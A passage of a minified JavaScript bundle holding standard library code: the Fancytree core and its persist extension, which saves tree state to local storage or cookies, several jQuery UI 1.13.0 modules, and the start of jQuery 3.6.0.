c[l];_[l]=u}}e.extend(_.data,c)}t=h.find(">ul").first();if(t.length){_.children=e.ui.fancytree.parseHtml(t)}else{_.children=_.lazy?undefined:null}f.push(_)}));return f},registerExtension:function(t){w(t.name!=null,"extensions must have a `name` property.");w(t.version!=null,"extensions must have a `version` property.");e.ui.fancytree._extensions[t.name]=t},trim:C,unescapeHtml:function(e){var t=document.createElement("div");t.innerHTML=e;return t.childNodes.length===0?"":t.childNodes[0].nodeValue},warn:function(t){if(e.ui.fancytree.debugLevel>=2){A("warn",arguments)}}});return e.ui.fancytree}))},495:(e,t,n)=>{var i,r,s; /*! * jquery.fancytree.persist.js * * Persist tree status in cookiesRemove or highlight tree nodes, based on a filter. * (Extension module for jquery.fancytree.js: https://github.com/mar10/fancytree/) * * @depends: js-cookie or jquery-cookie * * Copyright (c) 2008-2021, Martin Wendt (https://wwWendt.de) * * Released under the MIT license * https://github.com/mar10/fancytree/wiki/LicenseInfo * * @version 2.38.1 * @date 2022-01-14T18:41:36Z */(function(o){if(true){!(r=[n(486),n(490)],i=o,s=typeof i==="function"?i.apply(t,r):i,s!==undefined&&(e.exports=s))}else{}})((function(e){"use strict";var t=null,n=null,i=null,r=e.ui.fancytree.assert,s="active",o="expanded",a="focus",l="selected";try{r(window.localStorage&&window.localStorage.getItem);n={get:function(e){return window.localStorage.getItem(e)},set:function(e,t){window.localStorage.setItem(e,t)},remove:function(e){window.localStorage.removeItem(e)}}}catch(t){e.ui.fancytree.warn("Could not access window.localStorage",t)}try{r(window.sessionStorage&&window.sessionStorage.getItem);i={get:function(e){return window.sessionStorage.getItem(e)},set:function(e,t){window.sessionStorage.setItem(e,t)},remove:function(e){window.sessionStorage.removeItem(e)}}}catch(t){e.ui.fancytree.warn("Could not access window.sessionStorage",t)}if(typeof Cookies==="function"){t={get:Cookies.get,set:function(e,t){Cookies.set(e,t,this.options.persist.cookie)},remove:Cookies.remove}}else if(e&&typeof e.cookie==="function"){t={get:e.cookie,set:function(t,n){e.cookie.set(t,n,this.options.persist.cookie)},remove:e.removeCookie}}function u(t,n,i,r,s){var a,l,c,f,d=false,h=t.options.persist.expandOpts,p=[],g=[];i=i||[];s=s||e.Deferred();for(a=0,c=i.length;a<c;a++){l=i[a];f=t.getNodeByKey(l);if(f){if(r&&f.isUndefined()){d=true;t.debug("_loadLazyNodes: "+f+" is lazy: loading...");if(r==="expand"){p.push(f.setExpanded(true,h))}else{p.push(f.load())}}else{t.debug("_loadLazyNodes: "+f+" already loaded.");f.setExpanded(true,h)}}else{g.push(l);t.debug("_loadLazyNodes: "+f+" was not yet found.")}}e.when.apply(e,p).always((function(){if(d&&g.length>0){u(t,n,g,r,s)}else{if(g.length){t.warn("_loadLazyNodes: could not load those keys: ",g);for(a=0,c=g.length;a<c;a++){l=i[a];n._appendKey(o,i[a],false)}}s.resolve()}}));return s}e.ui.fancytree._FancytreeClass.prototype.clearPersistData=function(e){var t=this.ext.persist,n=t.cookiePrefix;e=e||"active expanded focus selected";if(e.indexOf(s)>=0){t._data(n+s,null)}if(e.indexOf(o)>=0){t._data(n+o,null)}if(e.indexOf(a)>=0){t._data(n+a,null)}if(e.indexOf(l)>=0){t._data(n+l,null)}};e.ui.fancytree._FancytreeClass.prototype.clearCookies=function(e){this.warn("'tree.clearCookies()' is deprecated since v2.27.0: use 'clearPersistData()' instead.");return this.clearPersistData(e)};e.ui.fancytree._FancytreeClass.prototype.getPersistData=function(){var e=this.ext.persist,t=e.cookiePrefix,n=e.cookieDelimiter,i={};i[s]=e._data(t+s);i[o]=(e._data(t+o)||"").split(n);i[l]=(e._data(t+l)||"").split(n);i[a]=e._data(t+a);return i};e.ui.fancytree.registerExtension({name:"persist",version:"2.38.1",options:{cookieDelimiter:"~",cookiePrefix:undefined,cookie:{raw:false,expires:"",path:"",domain:"",secure:false},expandLazy:false,expandOpts:undefined,fireActivate:true,overrideSource:true,store:"auto",types:"active expanded focus selected"},_data:function(e,t){var n=this._local.store;if(t===undefined){return n.get.call(this,e)}else if(t===null){n.remove.call(this,e)}else{n.set.call(this,e,t)}},_appendKey:function(t,n,i){n=""+n;var r=this._local,s=this.options.persist,o=s.cookieDelimiter,a=r.cookiePrefix+t,l=r._data(a),u=l?l.split(o):[],c=e.inArray(n,u);if(c>=0){u.splice(c,1)}if(i){u.push(n)}r._data(a,u.join(o))},treeInit:function(c){var f=c.tree,d=c.options,h=this._local,p=this.options.persist;h.cookiePrefix=p.cookiePrefix||"fancytree-"+f._id+"-";h.storeActive=p.types.indexOf(s)>=0;h.storeExpanded=p.types.indexOf(o)>=0;h.storeSelected=p.types.indexOf(l)>=0;h.storeFocus=p.types.indexOf(a)>=0;h.store=null;if(p.store==="auto"){p.store=n?"local":"cookie"}if(e.isPlainObject(p.store)){h.store=p.store}else if(p.store==="cookie"){h.store=t}else if(p.store==="local"){h.store=p.store==="local"?n:i}else if(p.store==="session"){h.store=p.store==="local"?n:i}r(h.store,"Need a valid store.");f.$div.on("fancytreeinit",(function(t){if(f._triggerTreeEvent("beforeRestore",null,{})===false){return}var n,i,r,c,g,v=h._data(h.cookiePrefix+a),m=p.fireActivate===false;n=h._data(h.cookiePrefix+o);c=n&&n.split(p.cookieDelimiter);if(h.storeExpanded){i=u(f,h,c,p.expandLazy?"expand":false,null)}else{i=(new e.Deferred).resolve()}i.done((function(){if(h.storeSelected){n=h._data(h.cookiePrefix+l);if(n){c=n.split(p.cookieDelimiter);for(r=0;r<c.length;r++){g=f.getNodeByKey(c[r]);if(g){if(g.selected===undefined||p.overrideSource&&g.selected===false){g.selected=true;g.renderStatus()}}else{h._appendKey(l,c[r],false)}}}if(f.options.selectMode===3){f.visit((function(e){if(e.selected){e.fixSelection3AfterClick();return"skip"}}))}}if(h.storeActive){n=h._data(h.cookiePrefix+s);if(n&&(d.persist.overrideSource||!f.activeNode)){g=f.getNodeByKey(n);if(g){g.debug("persist: set active",n);g.setActive(true,{noFocus:true,noEvents:m})}}}if(h.storeFocus&&v){g=f.getNodeByKey(v);if(g){if(f.options.titlesTabbable){e(g.span).find(".fancytree-title").focus()}else{e(f.$container).focus()}}}f._triggerTreeEvent("restore",null,{})}))}));return this._superApply(arguments)},nodeSetActive:function(e,t,n){var i,r=this._local;t=t!==false;i=this._superApply(arguments);if(r.storeActive){r._data(r.cookiePrefix+s,this.activeNode?this.activeNode.key:null)}return i},nodeSetExpanded:function(e,t,n){var i,r=e.node,s=this._local;t=t!==false;i=this._superApply(arguments);if(s.storeExpanded){s._appendKey(o,r.key,t)}return i},nodeSetFocus:function(e,t){var n,i=this._local;t=t!==false;n=this._superApply(arguments);if(i.storeFocus){i._data(i.cookiePrefix+a,this.focusNode?this.focusNode.key:null)}return n},nodeSetSelected:function(t,n,i){var r,s,o=t.tree,a=t.node,u=this._local;n=n!==false;r=this._superApply(arguments);if(u.storeSelected){if(o.options.selectMode===3){s=e.map(o.getSelectedNodes(true),(function(e){return e.key}));s=s.join(t.options.persist.cookieDelimiter);u._data(u.cookiePrefix+l,s)}else{u._appendKey(l,a.key,a.selected)}}return r}});return e.ui.fancytree}))},491:(e,t,n)=>{var i,r,s; /*! jQuery UI - v1.13.0 - 2021-11-09 * http://jqueryui.com * Includes: widget.js, position.js, jquery-patch.js, keycode.js, scroll-parent.js, unique-id.js * Copyright jQuery Foundation and other contributors; Licensed MIT */(function(o){"use strict";if(true){!(r=[n(486)],i=o,s=typeof i==="function"?i.apply(t,r):i,s!==undefined&&(e.exports=s))}else{}})((function(e){"use strict";e.ui=e.ui||{};var t=e.ui.version="1.13.0"; /*! * jQuery UI Widget 1.13.0 * http://jqueryui.com * * Copyright jQuery Foundation and other contributors * Released under the MIT license. * http://jquery.org/license */var n=0;var i=Array.prototype.hasOwnProperty;var r=Array.prototype.slice;e.cleanData=e.cleanData||function(t){return function(n){var i,r,s;for(s=0;(r=n[s])!=null;s++){i=e._data(r,"events");if(i&&i.remove){e(r).triggerHandler("remove")}}t(n)}}(e.cleanData);e.widget=e.widget||function(t,n,i){var r,s,o;var a={};var l=t.split(".")[0];t=t.split(".")[1];var u=l+"-"+t;if(!i){i=n;n=e.Widget}if(Array.isArray(i)){i=e.extend.apply(null,[{}].concat(i))}e.expr.pseudos[u.toLowerCase()]=function(t){return!!e.data(t,u)};e[l]=e[l]||{};r=e[l][t];s=e[l][t]=function(e,t){if(!this._createWidget){return new s(e,t)}if(arguments.length){this._createWidget(e,t)}};e.extend(s,r,{version:i.version,_proto:e.extend({},i),_childConstructors:[]});o=new n;o.options=e.widget.extend({},o.options);e.each(i,(function(e,t){if(typeof t!=="function"){a[e]=t;return}a[e]=function(){function i(){return n.prototype[e].apply(this,arguments)}function r(t){return n.prototype[e].apply(this,t)}return function(){var e=this._super;var n=this._superApply;var s;this._super=i;this._superApply=r;s=t.apply(this,arguments);this._super=e;this._superApply=n;return s}}()}));s.prototype=e.widget.extend(o,{widgetEventPrefix:r?o.widgetEventPrefix||t:t},a,{constructor:s,namespace:l,widgetName:t,widgetFullName:u});if(r){e.each(r._childConstructors,(function(t,n){var i=n.prototype;e.widget(i.namespace+"."+i.widgetName,s,n._proto)}));delete r._childConstructors}else{n._childConstructors.push(s)}e.widget.bridge(t,s);return s};e.widget.extend=function(t){var n=r.call(arguments,1);var s=0;var o=n.length;var a;var l;for(;s<o;s++){for(a in n[s]){l=n[s][a];if(i.call(n[s],a)&&l!==undefined){if(e.isPlainObject(l)){t[a]=e.isPlainObject(t[a])?e.widget.extend({},t[a],l):e.widget.extend({},l)}else{t[a]=l}}}}return t};e.widget.bridge=function(t,n){var i=n.prototype.widgetFullName||t;e.fn[t]=function(s){var o=typeof s==="string";var a=r.call(arguments,1);var l=this;if(o){if(!this.length&&s==="instance"){l=undefined}else{this.each((function(){var n;var r=e.data(this,i);if(s==="instance"){l=r;return false}if(!r){return e.error("cannot call methods on "+t+" prior to initialization; "+"attempted to call method '"+s+"'")}if(typeof r[s]!=="function"||s.charAt(0)==="_"){return e.error("no such method '"+s+"' for "+t+" widget instance")}n=r[s].apply(r,a);if(n!==r&&n!==undefined){l=n&&n.jquery?l.pushStack(n.get()):n;return false}}))}}else{if(a.length){s=e.widget.extend.apply(null,[s].concat(a))}this.each((function(){var t=e.data(this,i);if(t){t.option(s||{});if(t._init){t._init()}}else{e.data(this,i,new n(s,this))}}))}return l}};e.Widget=e.Widget||function(){};e.Widget._childConstructors=[];e.Widget.prototype={widgetName:"widget",widgetEventPrefix:"",defaultElement:"<div>",options:{classes:{},disabled:false,create:null},_createWidget:function(t,i){i=e(i||this.defaultElement||this)[0];this.element=e(i);this.uuid=n++;this.eventNamespace="."+this.widgetName+this.uuid;this.bindings=e();this.hoverable=e();this.focusable=e();this.classesElementLookup={};if(i!==this){e.data(i,this.widgetFullName,this);this._on(true,this.element,{remove:function(e){if(e.target===i){this.destroy()}}});this.document=e(i.style?i.ownerDocument:i.document||i);this.window=e(this.document[0].defaultView||this.document[0].parentWindow)}this.options=e.widget.extend({},this.options,this._getCreateOptions(),t);this._create();if(this.options.disabled){this._setOptionDisabled(this.options.disabled)}this._trigger("create",null,this._getCreateEventData());this._init()},_getCreateOptions:function(){return{}},_getCreateEventData:e.noop,_create:e.noop,_init:e.noop,destroy:function(){var t=this;this._destroy();e.each(this.classesElementLookup,(function(e,n){t._removeClass(n,e)}));this.element.off(this.eventNamespace).removeData(this.widgetFullName);this.widget().off(this.eventNamespace).removeAttr("aria-disabled");this.bindings.off(this.eventNamespace)},_destroy:e.noop,widget:function(){return this.element},option:function(t,n){var i=t;var r;var s;var o;if(arguments.length===0){return e.widget.extend({},this.options)}if(typeof t==="string"){i={};r=t.split(".");t=r.shift();if(r.length){s=i[t]=e.widget.extend({},this.options[t]);for(o=0;o<r.length-1;o++){s[r[o]]=s[r[o]]||{};s=s[r[o]]}t=r.pop();if(arguments.length===1){return s[t]===undefined?null:s[t]}s[t]=n}else{if(arguments.length===1){return this.options[t]===undefined?null:this.options[t]}i[t]=n}}this._setOptions(i);return this},_setOptions:function(e){var t;for(t in e){this._setOption(t,e[t])}return this},_setOption:function(e,t){if(e==="classes"){this._setOptionClasses(t)}this.options[e]=t;if(e==="disabled"){this._setOptionDisabled(t)}return this},_setOptionClasses:function(t){var n,i,r;for(n in t){r=this.classesElementLookup[n];if(t[n]===this.options.classes[n]||!r||!r.length){continue}i=e(r.get());this._removeClass(r,n);i.addClass(this._classes({element:i,keys:n,classes:t,add:true}))}},_setOptionDisabled:function(e){this._toggleClass(this.widget(),this.widgetFullName+"-disabled",null,!!e);if(e){this._removeClass(this.hoverable,null,"ui-state-hover");this._removeClass(this.focusable,null,"ui-state-focus")}},enable:function(){return this._setOptions({disabled:false})},disable:function(){return this._setOptions({disabled:true})},_classes:function(t){var n=[];var i=this;t=e.extend({element:this.element,classes:this.options.classes||{}},t);function r(){t.element.each((function(t,n){var r=e.map(i.classesElementLookup,(function(e){return e})).some((function(e){return e.is(n)}));if(!r){i._on(e(n),{remove:"_untrackClassesElement"})}}))}function s(s,o){var a,l;for(l=0;l<s.length;l++){a=i.classesElementLookup[s[l]]||e();if(t.add){r();a=e(e.uniqueSort(a.get().concat(t.element.get())))}else{a=e(a.not(t.element).get())}i.classesElementLookup[s[l]]=a;n.push(s[l]);if(o&&t.classes[s[l]]){n.push(t.classes[s[l]])}}}if(t.keys){s(t.keys.match(/\S+/g)||[],true)}if(t.extra){s(t.extra.match(/\S+/g)||[])}return n.join(" ")},_untrackClassesElement:function(t){var n=this;e.each(n.classesElementLookup,(function(i,r){if(e.inArray(t.target,r)!==-1){n.classesElementLookup[i]=e(r.not(t.target).get())}}));this._off(e(t.target))},_removeClass:function(e,t,n){return this._toggleClass(e,t,n,false)},_addClass:function(e,t,n){return this._toggleClass(e,t,n,true)},_toggleClass:function(e,t,n,i){i=typeof i==="boolean"?i:n;var r=typeof e==="string"||e===null,s={extra:r?t:n,keys:r?e:t,element:r?this.element:e,add:i};s.element.toggleClass(this._classes(s),i);return this},_on:function(t,n,i){var r;var s=this;if(typeof t!=="boolean"){i=n;n=t;t=false}if(!i){i=n;n=this.element;r=this.widget()}else{n=r=e(n);this.bindings=this.bindings.add(n)}e.each(i,(function(i,o){function a(){if(!t&&(s.options.disabled===true||e(this).hasClass("ui-state-disabled"))){return}return(typeof o==="string"?s[o]:o).apply(s,arguments)}if(typeof o!=="string"){a.guid=o.guid=o.guid||a.guid||e.guid++}var l=i.match(/^([\w:-]*)\s*(.*)$/);var u=l[1]+s.eventNamespace;var c=l[2];if(c){r.on(u,c,a)}else{n.on(u,a)}}))},_off:function(t,n){n=(n||"").split(" ").join(this.eventNamespace+" ")+this.eventNamespace;t.off(n);this.bindings=e(this.bindings.not(t).get());this.focusable=e(this.focusable.not(t).get());this.hoverable=e(this.hoverable.not(t).get())},_delay:function(e,t){function n(){return(typeof e==="string"?i[e]:e).apply(i,arguments)}var i=this;return setTimeout(n,t||0)},_hoverable:function(t){this.hoverable=this.hoverable.add(t);this._on(t,{mouseenter:function(t){this._addClass(e(t.currentTarget),null,"ui-state-hover")},mouseleave:function(t){this._removeClass(e(t.currentTarget),null,"ui-state-hover")}})},_focusable:function(t){this.focusable=this.focusable.add(t);this._on(t,{focusin:function(t){this._addClass(e(t.currentTarget),null,"ui-state-focus")},focusout:function(t){this._removeClass(e(t.currentTarget),null,"ui-state-focus")}})},_trigger:function(t,n,i){var r,s;var o=this.options[t];i=i||{};n=e.Event(n);n.type=(t===this.widgetEventPrefix?t:this.widgetEventPrefix+t).toLowerCase();n.target=this.element[0];s=n.originalEvent;if(s){for(r in s){if(!(r in n)){n[r]=s[r]}}}this.element.trigger(n,i);return!(typeof o==="function"&&o.apply(this.element[0],[n].concat(i))===false||n.isDefaultPrevented())}};e.each({show:"fadeIn",hide:"fadeOut"},(function(t,n){e.Widget.prototype["_"+t]=function(i,r,s){if(typeof r==="string"){r={effect:r}}var o;var a=!r?t:r===true||typeof r==="number"?n:r.effect||n;r=r||{};if(typeof r==="number"){r={duration:r}}else if(r===true){r={}}o=!e.isEmptyObject(r);r.complete=s;if(r.delay){i.delay(r.delay)}if(o&&e.effects&&e.effects.effect[a]){i[t](r)}else if(a!==t&&i[a]){i[a](r.duration,r.easing,s)}else{i.queue((function(n){e(this)[t]();if(s){s.call(i[0])}n()}))}}}));var s=e.widget; /*! * jQuery UI Position 1.13.0 * http://jqueryui.com * * Copyright jQuery Foundation and other contributors * Released under the MIT license. * http://jquery.org/license * * http://api.jqueryui.com/position/ */(function(){var t,n=Math.max,i=Math.abs,r=/left|center|right/,s=/top|center|bottom/,o=/[\+\-]\d+(\.[\d]+)?%?/,a=/^\w+/,l=/%$/,u=e.fn.position;function c(e,t,n){return[parseFloat(e[0])*(l.test(e[0])?t/100:1),parseFloat(e[1])*(l.test(e[1])?n/100:1)]}function f(t,n){return parseInt(e.css(t,n),10)||0}function d(e){return e!=null&&e===e.window}function h(e){var t=e[0];if(t.nodeType===9){return{width:e.width(),height:e.height(),offset:{top:0,left:0}}}if(d(t)){return{width:e.width(),height:e.height(),offset:{top:e.scrollTop(),left:e.scrollLeft()}}}if(t.preventDefault){return{width:0,height:0,offset:{top:t.pageY,left:t.pageX}}}return{width:e.outerWidth(),height:e.outerHeight(),offset:e.offset()}}e.position=e.position||{scrollbarWidth:function(){if(t!==undefined){return t}var n,i,r=e("<div style="+"'display:block;position:absolute;width:200px;height:200px;overflow:hidden;'>"+"<div style='height:300px;width:auto;'></div></div>"),s=r.children()[0];e("body").append(r);n=s.offsetWidth;r.css("overflow","scroll");i=s.offsetWidth;if(n===i){i=r[0].clientWidth}r.remove();return t=n-i},getScrollInfo:function(t){var n=t.isWindow||t.isDocument?"":t.element.css("overflow-x"),i=t.isWindow||t.isDocument?"":t.element.css("overflow-y"),r=n==="scroll"||n==="auto"&&t.width<t.element[0].scrollWidth,s=i==="scroll"||i==="auto"&&t.height<t.element[0].scrollHeight;return{width:s?e.position.scrollbarWidth():0,height:r?e.position.scrollbarWidth():0}},getWithinInfo:function(t){var n=e(t||window),i=d(n[0]),r=!!n[0]&&n[0].nodeType===9,s=!i&&!r;return{element:n,isWindow:i,isDocument:r,offset:s?e(t).offset():{left:0,top:0},scrollLeft:n.scrollLeft(),scrollTop:n.scrollTop(),width:n.outerWidth(),height:n.outerHeight()}}};e.fn.position=function(t){if(!t||!t.of){return u.apply(this,arguments)}t=e.extend({},t);var l,d,p,g,v,m,y=typeof t.of==="string"?e(document).find(t.of):e(t.of),b=e.position.getWithinInfo(t.within),_=e.position.getScrollInfo(b),w=(t.collision||"flip").split(" "),x={};m=h(y);if(y[0].preventDefault){t.at="left top"}d=m.width;p=m.height;g=m.offset;v=e.extend({},g);e.each(["my","at"],(function(){var e=(t[this]||"").split(" "),n,i;if(e.length===1){e=r.test(e[0])?e.concat(["center"]):s.test(e[0])?["center"].concat(e):["center","center"]}e[0]=r.test(e[0])?e[0]:"center";e[1]=s.test(e[1])?e[1]:"center";n=o.exec(e[0]);i=o.exec(e[1]);x[this]=[n?n[0]:0,i?i[0]:0];t[this]=[a.exec(e[0])[0],a.exec(e[1])[0]]}));if(w.length===1){w[1]=w[0]}if(t.at[0]==="right"){v.left+=d}else if(t.at[0]==="center"){v.left+=d/2}if(t.at[1]==="bottom"){v.top+=p}else if(t.at[1]==="center"){v.top+=p/2}l=c(x.at,d,p);v.left+=l[0];v.top+=l[1];return this.each((function(){var r,s,o=e(this),a=o.outerWidth(),u=o.outerHeight(),h=f(this,"marginLeft"),m=f(this,"marginTop"),k=a+h+f(this,"marginRight")+_.width,C=u+m+f(this,"marginBottom")+_.height,E=e.extend({},v),A=c(x.my,o.outerWidth(),o.outerHeight());if(t.my[0]==="right"){E.left-=a}else if(t.my[0]==="center"){E.left-=a/2}if(t.my[1]==="bottom"){E.top-=u}else if(t.my[1]==="center"){E.top-=u/2}E.left+=A[0];E.top+=A[1];r={marginLeft:h,marginTop:m};e.each(["left","top"],(function(n,i){if(e.ui.position[w[n]]){e.ui.position[w[n]][i](E,{targetWidth:d,targetHeight:p,elemWidth:a,elemHeight:u,collisionPosition:r,collisionWidth:k,collisionHeight:C,offset:[l[0]+A[0],l[1]+A[1]],my:t.my,at:t.at,within:b,elem:o})}}));if(t.using){s=function(e){var r=g.left-E.left,s=r+d-a,l=g.top-E.top,c=l+p-u,f={target:{element:y,left:g.left,top:g.top,width:d,height:p},element:{element:o,left:E.left,top:E.top,width:a,height:u},horizontal:s<0?"left":r>0?"right":"center",vertical:c<0?"top":l>0?"bottom":"middle"};if(d<a&&i(r+s)<d){f.horizontal="center"}if(p<u&&i(l+c)<p){f.vertical="middle"}if(n(i(r),i(s))>n(i(l),i(c))){f.important="horizontal"}else{f.important="vertical"}t.using.call(this,e,f)}}o.offset(e.extend(E,{using:s}))}))};e.ui.position={fit:{left:function(e,t){var i=t.within,r=i.isWindow?i.scrollLeft:i.offset.left,s=i.width,o=e.left-t.collisionPosition.marginLeft,a=r-o,l=o+t.collisionWidth-s-r,u;if(t.collisionWidth>s){if(a>0&&l<=0){u=e.left+a+t.collisionWidth-s-r;e.left+=a-u}else if(l>0&&a<=0){e.left=r}else{if(a>l){e.left=r+s-t.collisionWidth}else{e.left=r}}}else if(a>0){e.left+=a}else if(l>0){e.left-=l}else{e.left=n(e.left-o,e.left)}},top:function(e,t){var i=t.within,r=i.isWindow?i.scrollTop:i.offset.top,s=t.within.height,o=e.top-t.collisionPosition.marginTop,a=r-o,l=o+t.collisionHeight-s-r,u;if(t.collisionHeight>s){if(a>0&&l<=0){u=e.top+a+t.collisionHeight-s-r;e.top+=a-u}else if(l>0&&a<=0){e.top=r}else{if(a>l){e.top=r+s-t.collisionHeight}else{e.top=r}}}else if(a>0){e.top+=a}else if(l>0){e.top-=l}else{e.top=n(e.top-o,e.top)}}},flip:{left:function(e,t){var n=t.within,r=n.offset.left+n.scrollLeft,s=n.width,o=n.isWindow?n.scrollLeft:n.offset.left,a=e.left-t.collisionPosition.marginLeft,l=a-o,u=a+t.collisionWidth-s-o,c=t.my[0]==="left"?-t.elemWidth:t.my[0]==="right"?t.elemWidth:0,f=t.at[0]==="left"?t.targetWidth:t.at[0]==="right"?-t.targetWidth:0,d=-2*t.offset[0],h,p;if(l<0){h=e.left+c+f+d+t.collisionWidth-s-r;if(h<0||h<i(l)){e.left+=c+f+d}}else if(u>0){p=e.left-t.collisionPosition.marginLeft+c+f+d-o;if(p>0||i(p)<u){e.left+=c+f+d}}},top:function(e,t){var n=t.within,r=n.offset.top+n.scrollTop,s=n.height,o=n.isWindow?n.scrollTop:n.offset.top,a=e.top-t.collisionPosition.marginTop,l=a-o,u=a+t.collisionHeight-s-o,c=t.my[1]==="top",f=c?-t.elemHeight:t.my[1]==="bottom"?t.elemHeight:0,d=t.at[1]==="top"?t.targetHeight:t.at[1]==="bottom"?-t.targetHeight:0,h=-2*t.offset[1],p,g;if(l<0){g=e.top+f+d+h+t.collisionHeight-s-r;if(g<0||g<i(l)){e.top+=f+d+h}}else if(u>0){p=e.top-t.collisionPosition.marginTop+f+d+h-o;if(p>0||i(p)<u){e.top+=f+d+h}}}},flipfit:{left:function(){e.ui.position.flip.left.apply(this,arguments);e.ui.position.fit.left.apply(this,arguments)},top:function(){e.ui.position.flip.top.apply(this,arguments);e.ui.position.fit.top.apply(this,arguments)}}}})();var o=e.ui.position; /*! * jQuery UI Support for jQuery core 1.8.x and newer 1.13.0 * http://jqueryui.com * * Copyright jQuery Foundation and other contributors * Released under the MIT license. * http://jquery.org/license * */if(!e.expr.pseudos){e.expr.pseudos=e.expr[":"]}if(!e.uniqueSort){e.uniqueSort=e.unique}if(!e.escapeSelector){var a=/([\0-\x1f\x7f]|^-?\d)|^-$|[^\x80-\uFFFF\w-]/g;var l=function(e,t){if(t){if(e==="\0"){return"�"}return e.slice(0,-1)+"\\"+e.charCodeAt(e.length-1).toString(16)+" "}return"\\"+e};e.escapeSelector=function(e){return(e+"").replace(a,l)}}if(!e.fn.even||!e.fn.odd){e.fn.extend({even:function(){return this.filter((function(e){return e%2===0}))},odd:function(){return this.filter((function(e){return e%2===1}))}})} /*! * jQuery UI Keycode 1.13.0 * http://jqueryui.com * * Copyright jQuery Foundation and other contributors * Released under the MIT license. * http://jquery.org/license */ var u=e.ui.keyCode={BACKSPACE:8,COMMA:188,DELETE:46,DOWN:40,END:35,ENTER:13,ESCAPE:27,HOME:36,LEFT:37,PAGE_DOWN:34,PAGE_UP:33,PERIOD:190,RIGHT:39,SPACE:32,TAB:9,UP:38}; /*! * jQuery UI Scroll Parent 1.13.0 * http://jqueryui.com * * Copyright jQuery Foundation and other contributors * Released under the MIT license. * http://jquery.org/license */var c=e.fn.scrollParent=function(t){var n=this.css("position"),i=n==="absolute",r=t?/(auto|scroll|hidden)/:/(auto|scroll)/,s=this.parents().filter((function(){var t=e(this);if(i&&t.css("position")==="static"){return false}return r.test(t.css("overflow")+t.css("overflow-y")+t.css("overflow-x"))})).eq(0);return n==="fixed"||!s.length?e(this[0].ownerDocument||document):s}; /*! * jQuery UI Unique ID 1.13.0 * http://jqueryui.com * * Copyright jQuery Foundation and other contributors * Released under the MIT license. * http://jquery.org/license */var f=e.fn.extend({uniqueId:function(){var e=0;return function(){return this.each((function(){if(!this.id){this.id="ui-id-"+ ++e}}))}}(),removeUniqueId:function(){return this.each((function(){if(/^ui-id-\d+$/.test(this.id)){e(this).removeAttr("id")}}))}})}))},486:function(e,t){var n,i; /*! * jQuery JavaScript Library v3.6.0 * https://jquery.com/ * * Includes Sizzle.js * https://sizzlejs.com/ * * Copyright OpenJS Foundation and other contributors * Released under the MIT license * https://jquery.org/license * * Date: 2021-03-02T17:08Z */(function(t,n){"use strict";if(true&&typeof e.exports==="object"){e.exports=t.document?n(t,true):function(e){if(!e.document){throw new Error("jQuery requires a window with a document")}return n(e)}}else{n(t)}})(typeof window!=="undefined"?window:this,(function(r,s){"use strict";var o=[];var a=Object.getPrototypeOf;var l=o.slice;var u=o.flat?function(e){return o.flat.call(e)}:function(e){return o.concat.apply([],e)};var c=o.push;var f=o.indexOf;var d={};var h=d.toString;var p=d.hasOwnProperty;var g=p.toString;var v=g.call(Object);var m={};var y=function e(t){return typeof t==="function"&&typeof t.nodeType!=="number"&&typeof t.item!=="function"};var b=function e(t){return t!=null&&t===t.window};var _=r.document;var w={type:true,src:true,nonce:true,noModule:true};function x(e,t,n){n=n||_;var i,r,s=n.createElement("script");s.text=e;if(t){for(i in w){r=t[i]||t.getAttribute&&t.getAttribute(i);if(r){s.setAttribute(i,r)}}}n.head.appendChild(s).parentNode.removeChild(s)}function k(e){if(e==null){return e+""}return typeof e==="object"||typeof e==="function"?d[h.call(e)]||"object":typeof e}var C="3.6.0",E=function(e,t){return new E.fn.init(e,t)};E.fn=E.prototype={jquery:C,constructor:E,length:0,toArray:function(){return l.call(this)},get:function(e){if(e==null){return l.call(this)}return e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=E.merge(this.constructor(),e);t.prevObject=this;return t},each:function(e){return E.each(this,e)},map:function(e){return this.pushStack(E.map(this,(function(t,n){return e.call(t,n,t)})))},slice:function(){return this.pushStack(l.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},even:function(){return this.pushStack(E.grep(this,(function(e,t){return(t+1)%2})))},odd:function(){return this.pushStack(E.grep(this,(function(e,t){return t%2})))},eq:function(e){var t=this.length,n=+e+(e<0?t:0);return this.pushStack(n>=0&&n<t?[this[n]]:[])},end:function(){return this.prevObject||this.constructor()},push:c,sort:o.sort,splice:o.splice};E.extend=E.fn.extend=function(){var e,t,n,i,r,s,o=arguments[0]||{},a=1,l=arguments.length,u=false;if(typeof o==="boolean"){u=o;o=arguments[a]||{};a++}if(typeof o!=="object"&&!y(o)){o={}}if(a===l){o=this;a--}for(;a<l;a++){if((e=arguments[a])!=null){for(t in e){i=e[t];if(t==="__proto__"||o===i){continue}if(u&&i&&(E.isPlainObject(i)||(r=Array.isArray(i)))){n=o[t];if(r&&!Array.isArray(n)){s=[]}else if(!r&&!E.isPlainObject(n)){s={}}else{s=n}r=false;o[t]=E.extend(u,s,i)}else if(i!==undefined){o[t]=i}}}}return o};E.extend({expando:"jQuery"+(C+Math.random()).replace(/\D/g,""),isReady:true,error:function(e){throw new Error(e)},noop:function(){},isPlainObject:function(e){var t,n;if(!e||h.call(e)!=="[object Object]"){return false}t=a(e);if(!t){return true}n=p.call(t,"constructor")&&t.constructor;return typeof n==="function"&&g.call(n)===v},isEmptyObject:function(e){var t;for(t in e){return false}return true},globalEval:function(e,t,n){x(e,{nonce:t&&t.nonce},n)},each:function(e,t){var n,i=0;if(A(e)){n=e.length;for(;i<n;i++){if(t.call(e[i],i,e[i])===false){break}}}else{for(i in e){if(t.call(e[i],i,e[i])===false){break}}}return e},makeArray:function(e,t){var n=t||[];if(e!=null){if(A(Object(e))){E.merge(n,typeof e==="string"?[e]:e)}else{c.call(n,e)}}return n},inArray:function(e,t,n){return t==null?-1:f.call(t,e,n)},merge:function(e,t){var n=+t.length,i=0,r=e.length;for(;i<n;i++){e[r++]=t[i]}e.length=r;return e},grep:function(e,t,n){var i,r=[],s=0,o=e.length,a=!n;for(;s<o;s++){i=!t(e[s],s);if(i!==a){r.push(e[s])}}return r},map:function(e,t,n){var i,r,s=0,o=[];if(A(e)){i=e.length;for(;s<i;s++){r=t(e[s],s,n);if(r!=null){o.push(r)}}}else{for(s in e){r=t(e[s],s,n);if(r!=null){o.push(r)}}}return u(o)},guid:1,support:m});if(typeof Symbol==="function"){E.fn[Symbol.iterator]=o[Symbol.iterator]}E.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "),(function(e,t){d["[object "+t+"]"]=t.toLowerCase()}));function A(e){var 